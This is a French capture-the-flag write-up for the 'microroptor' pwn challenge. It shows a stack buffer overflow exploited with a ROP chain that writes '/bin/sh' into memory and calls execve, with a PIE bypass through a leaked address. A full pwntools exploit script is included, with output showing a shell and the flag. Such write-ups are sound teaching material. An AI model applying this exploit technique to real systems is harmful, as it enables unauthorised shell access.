📚 Description du challenge
Difficulté: ⭐
Architecture: amd64
Mon setup:
- GDB avec pwndbg comme wrapper
- Binary Ninja
- Pwntools
Protection sur le binaire:
└─$ pwn checksec --file ./xoraas
[*] '/home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Dans ce challenge réalisé par Cryptanalyse, il nous est demandé de recupérer le contenu du fichier flag
en détournant l’usage d’un binaire nommé microroptor
.
Il n’y a pas de stack canary donc on peut s’attendre à ce que ça soit un buffer overflow sur la stack.
Retro-inginiérie du binaire
J’ai utilisé Binary Ninja pour décompiler le binaire mais libre à vous d’utiliser l’outil de votre choix.
Le binaire est composé d’une seule fonction main
qui a le pseudo code C suivant:
Voici grossièrement les opérations que réalise la dite fonction:
- Elle nous donne une addresse du binaire via la sortie standard
- Elle lit 512 octets depuis l’entrée standard et les placent dans la variable
buf
de 32 octets (oui vous avez bien lu) - Elle compare le contenu de la variable
buf
à la chaine de caractère “m3t4ll1cA” via la fonction strcmp - Si la fonction strcmp renvoie 0, le message “Welcome back master […]” est affiché. Si strcmp donne autre chose que 0, le programme renvoie “Nope, […] "
Buffer overflow + ROP
Comme je l’ai dit précédemment, le programme lis 512 octets dans une variable de 32 octets provoquant un dépassement de tampon sur la stack.
On peut utiliser ceci pour rediriger l’exécution du programme vers… Vers quoi enfait ? La protection NX étant activé, il ne nous est pas possible d’exécuter un shellcode.
C’est là qu’il est bon d’introduire le concept de ROP -> return oriented programming:
C’est une technique visant à utiliser des petites instructions dans le binaire appelées gadget
pour effectuer des opérations arbitraires (dans notre cas, exécuter le binaire /bin/sh
).
Pour trouver nos gadgets, on va utiliser ROPGadget, un outil permettant de trouver les gadgets que contient un binaire:
└─$ ROPgadget --binary microroptor
Gadgets information
============================================================
[...]
0x0000000000001169 : mov qword ptr [rdi], rax ; ret
[...]
0x0000000000001244 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001246 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001248 : pop r14 ; pop r15 ; ret
0x000000000000124a : pop r15 ; ret
0x000000000000116d : pop rax ; ret
0x0000000000001243 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001247 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000000114f : pop rbp ; ret
0x000000000000116f : pop rdi ; ret
0x0000000000001171 : pop rdx ; ret
0x0000000000001249 : pop rsi ; pop r15 ; ret
0x0000000000001245 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
[...]
0x0000000000001173 : syscall
[...]
Unique gadgets found: 86
Malheureusement, le binaire ne contient pas la chaîne de caractère ‘/bin/sh’ on va donc devoir l’écrire nous même dans le binaire.
Pour ce faire, on va utiliser les gadgets suivants:
0x0000000000001169 : mov qword ptr [rdi], rax ; ret
0x000000000000116d : pop rax ; ret
0x000000000000116f : pop rdi ; ret
On va mettre:
- dans le registre rdi, une addresse dans le binaire où l’on veut écrire /bin/sh
- dans rax, on va mettre /bin/sh
- puis on va appeler
mov [rdi], rax
pour qu’il mette à l’addresse contenue dans rdi la valeur de rax.
Ce qui nous donne le code python suivant:
pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
mov_rdi_rax = elf.address + 0x0000000000001169
payload = p64(pop_rdi)
payload += p64(elf.address + 16416)
# J'ai choisi d'écrire à cet offset, libre à vous d'en choisir un autre
payload += p64(pop_rax)
payload += b"/bin/sh\0"
payload += p64(mov_rdi_rax)
Pour appeler /bin/sh
, on va utiliser le syscall execve
. Qui prend ses paramètres de la manière suivantes:
rax rdi rsi rdx
Notre registre rdi est déja valide mais il faut mettre rsi et rdx à 0 et rax à 59.
pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
pop_rsi = elf.address + 0x0000000000001249
pop_rdx = elf.address + 0x0000000000001171
syscall = elf.address + 0x0000000000001173
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rsi)
payload += p64(0)*2
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
💣 Exploit
Il ne manque plus qu’un élément avant de pouvoir récuperer le flag: en effet la protection PIE est activé pour le binaire. Celle ci rend aléatoire les addresses du binaire et rend donc plus ardue notre ROP. Heureusement pour nous, le programme nous donne une fuite de mémoire juste avant de nous demander d’entrer des données ce qui va nous permettre de déterminer à chaque fois l’adresse à laquelle est chargé le binaire car l’écart entre ces deux adresses est constants.
Pour calculer la différence entre l’addresse de base du binaire est celle qui nous est fournie, j’ai utilisé gdb pour afficher la base du binaire via la commande vmmap microroptor
et j’ai aussi récupérer le leak: 0x555555558010
pwndbg> vmmap microroptor
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555555000 0x555555556000 r-xp 1000 1000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555556000 0x555555557000 r--p 1000 2000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555557000 0x555555558000 r--p 1000 2000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
0x555555558000 0x555555559000 rw-p 1000 3000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
pwndbg>
La différence entre le leak est la base est donc:
>>> 0x555555558010 - 0x555555554000
16400
On peut dès à présent écrire notre exploit via la librairie pwntools en python:
from pwn import *
elf = ELF('./microroptor', checksec=False)
p = remote('localhost', 4000)
leak = int(p.recvline().strip(),0)
elf.address = leak - 16400
info("elf @0x%hx" % elf.address)
#0x000000000000116d : pop rax ; ret
#0x000000000000114f : pop rbp ; ret
#0x000000000000116f : pop rdi ; ret
#0x0000000000001171 : pop rdx ; ret
#0x0000000000001249 : pop rsi ; pop r15 ; ret
#0x0000000000001173 : syscall
#0x0000000000001169 : mov [rdi] , rax ; ret
pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
pop_rsi = elf.address + 0x0000000000001249
pop_rdx = elf.address + 0x0000000000001171
syscall = elf.address + 0x0000000000001173
mov_rdi_rax = elf.address + 0x0000000000001169
payload = b"A"*40
payload += p64(pop_rdi)
payload += p64(elf.address + 16416)
payload += p64(pop_rax)
payload += b"/bin/sh\0"
payload += p64(mov_rdi_rax)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rsi)
payload += p64(0)*2
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)
p.interactive()
$ python exploit.py
[+] Opening connection to localhost on port 4000: Done
[*] elf @0x555555554000
[*] Switching to interactive mode
Nope, you are no master.
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
FCSC{e3752da07f2c9e3a0f9ad69679792e5a8d53ba717a2652e29fb975fcf36f9258}
Merci à Cryptanalyse pour ce challenge et n’hésitez pas à m’envoyer un message sur discord @numb3rss ou sur Twitter @numbrs si vous avez une question.